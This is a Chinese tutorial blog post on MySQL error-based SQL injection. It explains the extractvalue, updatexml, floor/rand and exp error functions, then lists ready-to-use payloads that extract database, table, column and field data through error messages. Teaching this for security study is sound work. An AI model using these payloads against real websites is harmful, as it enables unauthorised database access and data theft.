当前位置: 首页 > article >正文

12、SQL注入——SQL报错注入

文章目录

  • 一、报错注入概述
    • 1.1 报错注入
    • 1.2 报错注入的前提条件
    • 1.3 相关报错函数
  • 二、报错注入payload
    • 2.1 利用extractvalue()函数进行报错注入
    • 2.2 利用updataxml()函数进行报错注入
    • 2.3 利用floor()函数进行报错注入

一、报错注入概述

1.1 报错注入

通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号名、用户名等)通过页面的错误提示显示出来。如下图:
在这里插入图片描述

1.2 报错注入的前提条件

  • web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;
  • 后台未对一些具有报错功能的函数(如extractvalueupdatexml等)进行过滤。

1.3 相关报错函数

(1)extractvlue()(Mysql数据库版本号>=5.1.5)

  • 作用:对xml文档进行查询,相当于在HTML文件中用标签查找元素。
  • 语法:extactvalue(XML_document, XPath_string)
    参数1:XML_document是String格式,为XML文档对象的名称。
    参数2:XPath_string(XPath格式的字符串),注入时可操作的地方。
  • 报错原理:xml文档中查找字符位置使用/xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错并且会返回写入的非法格式内容,错误信息如:XPATH syntax error: ‘xxxxx’
  • 实例: 在这里插入图片描述

    注:该函数的最大显示长度为32,超过长度可以配合substrlimit等函数来显示。

(2)updatexml()(Mysql数据库版本号>=5.1.5)

  • 作用:改变文档中符合条件的节点的值。
  • 语法:updatexml(XML_document, XPath_string, new_value)
    参数1:XML_document是String格式,为XML文档对象的名称。
    参数2:XPath_string(XPath格式的字符串),注入时可操作的地方。
    参数3:new_value,string格式,替换查找到的符合条件的数据
  • 报错原理:通extractvalue()
  • 实例:
    在这里插入图片描述

    注:该函数的最大显示长度为32,超过长度可以配合substrlimit等函数来显示。

(3)floor()、rand()、count()、group by联用

  • 作用:
    • floor(x):对参数向下取整
    • rand():生成一个0-1之间的随机浮点数
    • count(*):统计某个表下总共有多少条记录
    • group by X:按照by一定规则(x)进行分组
  • 报错原理:group by和rand()使用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将就算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如下:Duplicate entry '...' for key 'group_key'
  • 实例:
    在这里插入图片描述

(4)exp()(5.5.5< = MYsql数据库版本<=5.5.49)

  • 作用:计算以e(自然常数)为底的幂值;
  • 语法:exp(x)
  • 报错原理:当参数超过710时,exp()函数会报错,错误信息如下:DOUBLE value is out of range:…
  • 实例
    在这里插入图片描述

(5)Mysql数据库报错功能函数汇总
在这里插入图片描述

二、报错注入payload

2.1 利用extractvalue()函数进行报错注入

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select extractvalue(1,concat('~',(select database())))) --+ //爆出当前数据库名
id=1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))) --+ //查看数据库中的表
id=1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名')))) --+ //查看表中的字段名
id=1' and (select extractvalue(1,concat('~',(select group_concat(concat(字段1,'%23',字段2))))) --+ //查看字段内容

2.2 利用updataxml()函数进行报错注入

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select updatexml(1,concat('~ ',(select database()), '~'),1)) --+ //爆出当前数据库名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'), '~'),1)) //查看数据库中的表
id=1' and (select updatexml(1,concat('~ ',(select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'), '~'),1)) //查看表中的字段名
id=1' and (select updatexml(1,concat('~ ',(select group_concat(concat(字段1,'%23',字段2))), '~'),1)) --+ //查看字段内容

2.3 利用floor()函数进行报错注入

id=1' #   //报错,说明有注入点
id=1 and 1=1 # //正确
id=1 and 1=2 # //错误,说明是数字型注入,否则为字符型注入

id=1' and (select 1 from (select count(*),concat((select database()),floor(rand()*2))x from information_schema.tables group by x)a) --+ //爆出当前数据库名
id=1' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),floor(rand()*2))x from information_schema.tables group by x)a) --+  //查看数据库的表名
id=1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'),floor(rand()*2))x from information_schema.tables group by x)a) --+  //查看表中的字段名
id=1' and (select 1 from (select count(*),concat((select group_concat(concat(字段1,'%23',字段2))),floor(rand()*2))x from information_schema.tables group by x)a) --+  //查看字段内容


http://www.kler.cn/a/158134.html

相关文章:

  • IDEA中,Archetype的作用
  • 【开源】基于JAVA的厦门旅游电子商务预订系统
  • 23史上最全版---SQL注入详解
  • Vue3中props传参(多种数据类型传参方式)
  • 使用python+poco+夜神模拟器进行自动化测试实例
  • 全球葡萄酒行业对社会的积极和消极影响
  • 【Git】Git撤销操作
  • oracle 19c rac 安装手册
  • Golang线程池与协程池
  • 全国网络与信息安全管理员职工职业技能竞赛线下培训—简单的流量分析
  • 欢迎回到 C++ - 现代 C++(心得-壹)
  • Atcoder Beginner Contest 331 A~F
  • Python 文本终端 GUI 框架详解
  • 科技论文中的Assumption、Remark、Property、Lemma、Theorem、Proof含义
  • 论文阅读[2022sigcomm]GSO-Simulcast Global Stream Orchestration in Simulcast Video
  • CocosCreator 面试题(十九) Cocos Creator 材质 shader 分别是什么?
  • 【Vulnhub 靶场】【Prime (2021): 2】【简单 - 中等】【20210509】
  • 【代码随想录刷题】Day20 二叉树06
  • 智慧城市大脑,运维无忧!
  • 算法笔记:样条插值